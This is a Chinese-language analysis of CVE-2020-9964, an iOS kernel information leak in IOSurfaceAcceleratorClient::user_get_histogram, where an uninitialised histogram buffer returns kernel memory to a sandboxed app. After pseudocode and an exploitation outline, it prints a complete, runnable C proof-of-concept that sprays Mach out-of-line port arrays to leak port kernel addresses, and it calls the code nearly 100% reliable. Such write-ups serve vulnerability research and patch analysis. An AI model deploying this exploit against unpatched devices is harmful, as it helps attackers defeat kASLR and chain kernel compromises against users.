CVE-2020-9964:iOS中的信息泄露漏洞分析
寫在前面的話
2020年09月17日凌晨,蘋果終于給所有用戶推送了iOS14正式版,并同時發布了iOS 14.0的安全內容更新。閱讀該公告后,你將會看到列表中的一個漏洞CVE-2020-9964,這是一個存在于IOSurfaceAccelerator中的安全漏洞。蘋果將這個漏洞描述為:“本地用戶將能夠利用該漏洞讀取內核內存數據,這是一個內存初始化問題。”那么在這篇文章中,我們將跟大家介紹有關該漏洞的詳細信息。
IOSurfaceAcceleratorClient::user_get_histogram
IOSurfaceAcceleratorClient不僅是AppleM2ScalerCSCDriver IOService的用戶客戶端接口,也是為數不多的能夠在App沙盒中打開的用戶客戶端。在這里,我們感興趣的其實是這個用戶客戶端中的一個特定外部方法,也就是方法9-IOSurfaceAcceleratorClient::user_get_histogram。IOSurfaceAcceleratorClient在這個外部方法中使用了遺留的IOUserClient::getTargetAndMethodForIndex,方法9的IOExternalMethod描述符如下所示:
{
IOSurfaceAcceleratorClient::user_get_histogram,
kIOUCStructIStructO,
0x8,
0x0
}
在這里,我們可以看到user_get_histogram只會接收輸入數據的八個字節,并且不會返回任何的輸出數據,接下來我們一起來看一看這個方法的實現代碼,下面給出的是帶注釋的偽代碼:
IOReturn IOSurfaceAcceleratorClient::user_get_histogram(IOSurfaceAcceleratorClient *this, void *input, uint64_t inputSize)
{
IOReturn result;
if (this->calledFromKernel)
{
...
}
else
{
IOMemoryDescriptor *memDesc = IOMemoryDescriptor::withAddressRange(*(mach_vm_address_t *)input, this->histogramSize, kIODirectionOutIn, this->task);
if ( memDesc )
{
ret = memDesc->prepare(kIODirectionNone);
if (ret)
{
...
}
else
{
ret = AppleM2ScalerCSCDriver::get_histogram(this->fOwner, this, memDesc);
memDesc->complete(kIODirectionNone);
}
memDesc->release();
}
else
{
ret = kIOReturnNoMemory;
}
}
return ret;
}
我們可以看到其中包含的八個字節的結構化輸入數據,它將會被設置為一個用戶空間指針,AppleM2ScalerCSCDriver::get_histogram將能夠利用該指針實現數據的寫入或讀取。實際上,get_histogram調用get_histogram_gated的過程如下所示:
IOReturn AppleM2ScalerCSCDriver::get_histogram_gated(AppleM2ScalerCSCDriver *this, IOSurfaceAcceleratorClient *client, IOMemoryDescriptor *memDesc)
{
IOReturn result;
if ( memDesc->writeBytes(0, client->histogramBuffer, client->histogramSize) == client->histogramSize )
result = kIOReturnSuccess;
else
result = kIOReturnIOError;
return result;
}
我們可以看到,client->histogramBuffer被寫回至了用戶空間,那么現在問題來了,client->histogramBuffer是什么鬼?它是在哪里被初始化的?其中的數據又是從哪里來的?
IOSurfaceAcceleratorClient::histogramBuffer
上述問題的答案我們得在IOSurfaceAcceleratorClient::initClient的身上去尋找,相關代碼如下:
bool IOSurfaceAcceleratorClient::initClient(IOSurfaceAcceleratorClient *this, AppleM2ScalerCSCDriver *owner, int type, AppleM2ScalerCSCHal *hal)
{
...
if ( ... )
{
...
if ( ... )
{
size_t bufferSize = ...;
this->histogramSize = bufferSize;
this->histogramBuffer = (void *)IOMalloc(bufferSize);
IOAsynchronousScheduler *scheduler = IOAsynchronousScheduler::ioAsynchronousScheduler(0);
this->scheduler = scheduler;
if ( scheduler )
return true;
...
}
else
{
...
}
}
else
{
...
}
this->stopClient();
return false;
}
這里有一個很可疑的地方,代碼為histogramBuffer分配了空間,但并未填充數據,而IOMalloc也沒有給內存填充0,因此這里的histogramBuffer相當于完全沒有初始化的。于是我嘗試自己去調用這個方法,結果我查看到了大量的0xdeadbeef,說明這是一段未初始化的內存。
漏洞利用
這就非常棒了,因為我們可以將未初始化的內存泄露至用戶空間,但我們應該怎么做呢?實際上,像這樣的信息泄露問題本身相對還算是不嚴重的,但對于利用其他的內存崩潰漏洞時它就至關重要了。通常在利用這類漏洞時,首先需要找到匹配的端口地址,這也是我首要的目標。值得一提的是,這個漏洞也可以用來攻擊kASLR。
在利用該漏洞時,我選擇的目標分配地址時Mach消息out-of-line端口數組。在發送Mach消息是,我們可以將消息標記為“complex”。這將告訴內核下列Header并非元數據,而是描述符后接消息主體“body”。其中一個描述符為mach_msg_ool_ports_descriptor_t,它就是其中一個需要插入到接收任務中的out-of-line端口數組。
內存在接收上述信息時,內核可以通過創建一個包含指針(指向數組中每一個端口)的緩沖區來處理這些OOL端口(如果你感興趣的話,可以查看ipc_kmsg_copyin_ool_ports_descriptor中的代碼,我們在此不對其進行贅述)。這樣一來,我們就可以使用它來觸發任何大小的內核分配,其中將包含我們所要讀取或提取的數據,并在任何時候進行隨意釋放。
高級漏洞利用流
使用OOL端口數組發送跟client->histogramSize大小相同的消息內容;
通過接收消息來釋放這些數組;
打開一個IOSurfaceAcceleratorClient連接,分配histogramBuffer,該部分現在將會被其中部分被釋放的端口數組所覆蓋;
調用外部方法9,讀取指向用戶空間的端口指針;
搞定!
漏洞利用代碼
針對該漏洞的漏洞利用代碼如下:
#include <stdlib.h>
#include <assert.h>
#include <stdio.h>
#include <mach/mach.h>
#include <IOKit/IOKitLib.h>
#if 0
AppleM2ScalerCSCDriver Infoleak:
IOSurfaceAcceleratorClient::user_get_histogram takes a userspace pointer and writes histogram data back to that address.
IOSurfaceAcceleratorClient::initClient allocates this histogram buffer, but does not zero the memory.
When the external method IOSurfaceAcceleratorClient::user_get_histogram is called, this uninitialised memory is then sent back to userspace.
This vulnerability is reachable from within the app sandbox on iOS.
Below is a proof-of-concept exploit which utilises this vulnerability to leak the address of any mach port that the calling process holds a send-right to.
Other kernel object addresses can be obtained using this vulnerability in similar ways.
#endif
#define ASSERT_KR(kr) do { \
if (kr != KERN_SUCCESS) { \
fprintf(stderr, "kr: %s (0x%x)\n", mach_error_string(kr), kr); \
exit(EXIT_FAILURE); \
} \
} while(0)
#define LEAK_SIZE 0x300
#define SPRAY_COUNT 0x80
mach_port_t create_port(void)
{
mach_port_t p = MACH_PORT_NULL;
mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &p);
mach_port_insert_right(mach_task_self(), p, p, MACH_MSG_TYPE_MAKE_SEND);
return p;
}
io_connect_t open_client(const char* serviceName, uint32_t type)
{
io_connect_t client = MACH_PORT_NULL;
io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching(serviceName));
assert(service != MACH_PORT_NULL);
IOServiceOpen(service, mach_task_self(), 0, &client);
assert(client != MACH_PORT_NULL);
IOObjectRelease(service);
return client;
}
void push_to_freelist(mach_port_t port)
{
uint32_t portCount = LEAK_SIZE / sizeof(void*);
struct {
mach_msg_header_t header;
mach_msg_body_t body;
mach_msg_ool_ports_descriptor_t ool_ports;
} msg = {{0}};
mach_port_t* ports = (mach_port_t*)malloc(portCount * sizeof(mach_port_t));
for (uint32_t i = 0; i < portCount; i++)
ports[i] = port;
size_t msgSize = sizeof(msg);
msg.header.msgh_bits = MACH_MSGH_BITS_SET(MACH_MSG_TYPE_MAKE_SEND, 0, 0, MACH_MSGH_BITS_COMPLEX);
msg.header.msgh_size = msgSize;
msg.header.msgh_id = 'OOLP';
msg.body.msgh_descriptor_count = 1;
msg.ool_ports.type = MACH_MSG_OOL_PORTS_DESCRIPTOR;
msg.ool_ports.address = (void*)ports;
msg.ool_ports.count = portCount;
msg.ool_ports.deallocate = false;
msg.ool_ports.copy = MACH_MSG_PHYSICAL_COPY;
msg.ool_ports.disposition = MACH_MSG_TYPE_MAKE_SEND;
mach_port_t rcvPorts[SPRAY_COUNT];
for (uint32_t i = 0; i < SPRAY_COUNT; i++)
{
mach_port_t rcvPort = create_port();
rcvPorts[i] = rcvPort;
msg.header.msgh_remote_port = rcvPort;
//trigger kernel allocation of port array:
kern_return_t kr = mach_msg(&msg.header, MACH_SEND_MSG | MACH_MSG_OPTION_NONE, (mach_msg_size_t)msgSize, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
ASSERT_KR(kr);
}
for (uint32_t i = 1; i < SPRAY_COUNT; i++)
mach_port_destroy(mach_task_self(), rcvPorts[i]);
free((void*)ports);
}
//The actual vulnerability:
void leak_bytes(void* buffer)
{
io_connect_t client = open_client("AppleM2ScalerCSCDriver", 0);
kern_return_t kr = IOConnectCallStructMethod(client, 9, (uint64_t*)&buffer, 8, NULL, NULL);
ASSERT_KR(kr);
IOServiceClose(client);
}
uint64_t find_port_addr(mach_port_t port)
{
uint64_t* leak = (uint64_t*)malloc(LEAK_SIZE);
printf("Preparing heap\n");
push_to_freelist(port);
printf("Leaking 0x%zx bytes\n", (size_t)LEAK_SIZE);
leak_bytes(leak);
uint64_t addr = leak[1];
free(leak);
return addr;
}
int main(int argc, char* argv[], char* envp[])
{
mach_port_t port = create_port();
uint64_t port_addr = find_port_addr(port);
printf("Leaked port address: %p\n", (void*)port_addr);
return 0;
}
這份漏洞利用代碼成功率已經接近100%了,如果漏洞利用不成功的話,請重新運行代碼進行嘗試。